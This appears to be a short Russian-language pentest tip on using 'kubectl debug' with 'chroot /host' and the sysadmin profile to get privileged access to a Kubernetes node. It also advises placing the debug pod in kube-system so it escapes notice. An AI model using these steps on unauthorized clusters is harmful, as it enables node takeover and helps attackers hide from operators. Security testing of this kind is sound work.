kubectl debug можно довольно легко сбежать на Node (если на это есть соответствующие права):
kubectl debug node/desktop-control-plane -it --image=busybox
chroot /host
Однако, при взаимодействии с
container runtime сокетом, можно получить такие ошибки:
ctr: failed to unmount /tmp/containerd-mount2094132404: operation not permitted: failed to mount /tmp/containerd-mount2094132404: operation not permitted
Всё дело в том, что
ephemeral container запускается с недостаточными привилегиями. И это можно исправить просто указав флаг --profile:
kubectl debug node/desktop-control-plane -it --image=busybox --profile=sysadmin
В этом KEP есть подробная информация о том какие возможности дает тот или иной профиль. Более подробно эту тему поднял
Rory McCune у себя в статье – Kubernetes Debug Profiles.P.S – также для
kubectl debug можно передать параметр -n и тогда debug контейнер запустится в указанном неймспейсе. Особенно удобно поднимать его в kube-system, поскольку имя Pod будет что-то вроде node-debugger-desktop-control-plane-9gd7q и не привлечет много внимания, чего порой нужно добиться на пентесте.
